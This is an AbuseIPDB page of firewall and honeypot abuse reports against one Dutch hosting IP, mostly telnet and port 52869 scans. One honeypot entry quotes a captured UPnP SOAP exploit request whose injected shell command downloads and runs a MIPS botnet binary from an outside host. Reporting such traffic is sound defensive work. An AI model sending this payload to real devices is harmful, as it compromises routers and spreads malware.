JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

AbuseIPDB » 45.9.2.169

45.9.2.169 was found in our database!

This IP was reported 18 times. Confidence of Abuse is 91%: ?

91%

ISP	Matteo Martelloni trading as DELUXHOST
Usage Type	Data Center/Web Hosting/Transit
ASN	AS214677
Domain Name	deluxhost.net
Country	🇳🇱 Netherlands
City	Lelystad, Flevoland

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report 45.9.2.169

Whois 45.9.2.169

IP Abuse Reports for 45.9.2.169:

This IP address has been reported a total of 18 times from 15 distinct sources. 45.9.2.169 was first reported on July 28th 2025, and the most recent report was 4 hours ago.

Recent Reports: We have received reports of abusive activity from this IP address within the last week. It is potentially still actively engaged in abusive activities.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇺🇸 xmission.com	2026-06-18 18:06:58 (4 hours ago)	Blocked by UFW (TCP on 23) Source port: 37396 TTL: 46 Packet length: 40 TOS: 0x08 This report (for ... show more Blocked by UFW (TCP on 23) Source port: 37396 TTL: 46 Packet length: 40 TOS: 0x08 This report (for 45.9.2.169) was generated by: https://github.com/sefinek/UFW-AbuseIPDB-Reporter show less	Port Scan Hacking Brute-Force
🇳🇱 StopAbuse	2026-06-18 16:17:10 (5 hours ago)	tcp/23	Port Scan Exploited Host
🇧🇾 stroytrest	2026-06-17 23:34:34 (22 hours ago)	2026-06-18T02:34:34.052807+03:00 gate kernel: [2053873.219653] nftables: JAIL-TELNET IN=wan OUT= MAC ... show more 2026-06-18T02:34:34.052807+03:00 gate kernel: [2053873.219653] nftables: JAIL-TELNET IN=wan OUT= MAC= SRC=45.9.2.169 DST=xxx.xxx.xxx.xxx LEN=40 TOS=0x00 PREC=0x00 TTL=54 ID=4636 PROTO=TCP SPT=5398 DPT=23 WINDOW=29998 RES=0x00 SYN URGP=0 ... show less	Port Scan
🇫🇷 Duggy_Tuxy🧱	2026-06-17 20:39:42 (1 day ago)	[DS-BLKS-PROD01] Blocked by SysWarden Firewall (Traffic from Blocked Country (GeoIP))	Port Scan
🇫🇷 security.rdmc.fr	2026-06-17 20:31:00 (1 day ago)	Port Scan Attack proto:TCP src:3103 dst:23	Port Scan
🇳🇱 VMHeaven.io	2026-06-17 20:27:28 (1 day ago)	Blocked by UFW [52869/tcp] Source port: 2335 TTL: 58 Packet length: 40	Port Scan
🇺🇸 MPL	2026-06-17 18:06:55 (1 day ago)	tcp/23	Port Scan
Anonymous	2026-06-17 15:26:35 (1 day ago)	Jun 17 05:54:07 localhost kernel: [110035334.311714] iptables_INPUT_denied: IN=eth0 OUT= MAC=f2:3c:9 ... show more Jun 17 05:54:07 localhost kernel: [110035334.311714] iptables_INPUT_denied: IN=eth0 OUT= MAC=f2:3c:91:84:83:95:00:00:0c:9f:f0:1e:08:00 SRC=45.9.2.169 DST=[mungedIP2] LEN=40 TOS=0x00 PREC=0x00 TTL=54 ID=11197 PROTO=TCP SPT=6166 DPT=52869 WINDOW=7494 RES=0x00 SYN URGP=0 Jun 17 05:54:07 localhost kernel: [110035334.311745] iptables_INPUT_denied: IN=eth0 OUT= MAC=f2:3c:91:84:83:95:00:00:0c:9f:f0:1e:08:00 SRC=45.9.2.169 DST=[mungedIP2] LEN=40 TOS=0x00 PREC=0x00 TTL=54 ID=11197 PROTO=TCP SPT=6166 DPT=52869 SEQ=758669438 ACK=0 WINDOW=7494 RES=0x00 SYN URGP=0 Jun 17 11:26:34 localhost kernel: [110055281.453271] iptables_INPUT_denied: IN=eth0 OUT= MAC=f2:3c:91:84:83:95:00:00:0c:9f:f0:1e:08:00 SRC=45.9.2.169 DST=[mungedIP2] LEN=40 TOS=0x00 PREC=0x00 TTL=54 ID=28054 PROTO=TCP SPT=6166 DPT=52869 WINDOW=7494 RES=0x00 SYN URGP=0 Jun 17 11:26:34 localhost kernel: [110055281.453296] iptables_INPUT_denied: IN=eth0 OUT= MAC=f2:3c:91:84:83:95:00:00:0c:9f:f0:1e:08:00 SRC=45.9.2.169 DST=[mungedIP2] LEN=40 TOS=0x00 PREC=0x00 TT show less	Port Scan
🇬🇧 gbzret4d	2026-06-17 13:57:54 (1 day ago)	Honeypot [uk-production01]: HTTP/1.1 request on 52869 POST /picdesc.xml User-Agent: Mozilla/4.0 (co ... show more Honeypot [uk-production01]: HTTP/1.1 request on 52869 POST /picdesc.xml User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Accept: / Accept-Encoding: gzip, deflate POST Data: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf zuki; wget http://109.104.153.60/bins/frosty.mips -O zuki; chmod 777 zuki; ./zuki realtek.selfrep`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>; 52869 [2] TCP show less	Hacking Bad Web Bot
🇩🇪 bescared	2026-06-17 13:22:53 (1 day ago)	F2B - Malicious activity detected. Unauthorized connection attempt: Telnet. -c23856ef-	Port Scan
🇺🇸 MPL	2026-06-17 12:26:17 (1 day ago)	tcp/23 (2 or more attempts)	Port Scan
🇺🇸 RAP	2026-06-17 12:24:41 (1 day ago)	2026-06-17 12:24:41 UTC Unauthorized activity to TCP port 23. Telnet	Port Scan
🇩🇪 centurion	2026-06-17 09:32:31 (1 day ago)	Blocked by UFW on ns02 [52869/tcp] Source port: 6166 TTL: 56 Packet length: 40 TOS: 0x00 This repor ... show more Blocked by UFW on ns02 [52869/tcp] Source port: 6166 TTL: 56 Packet length: 40 TOS: 0x00 This report was generated by: https://github.com/sefinek/UFW-AbuseIPDB-Reporter show less	Port Scan
Anonymous	2026-06-17 07:04:04 (1 day ago)	Unauthorized connection attempt on Port 23	Port Scan Hacking Exploited Host
🇺🇸 RAP	2026-06-17 07:00:58 (1 day ago)	2026-06-17 07:00:58 UTC Unauthorized activity to TCP port 23. Telnet	Port Scan

Showing 1 to 15 of 18 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇫🇷 203.55.81.2

🇺🇦 194.44.62.10

🇧🇷 186.226.184.118

🇳🇱 178.253.23.71

🇸🇬 121.6.81.59

🇮🇳 116.73.240.74

🇺🇸 16.58.56.214

🇨🇩 2620:171:99:f003:9999::50

🇧🇪 198.235.24.137

🇳🇱 192.42.116.66

🇺🇸 66.132.172.124

🇺🇸 20.15.200.100

🇧🇷 205.210.31.243

🇺🇸 205.210.31.98

🇮🇩 180.247.61.114

🇭🇰 152.32.129.236

🇨🇳 223.75.156.89

🇦🇺 203.185.198.246

🇳🇱 185.93.89.130

🇰🇷 182.209.190.102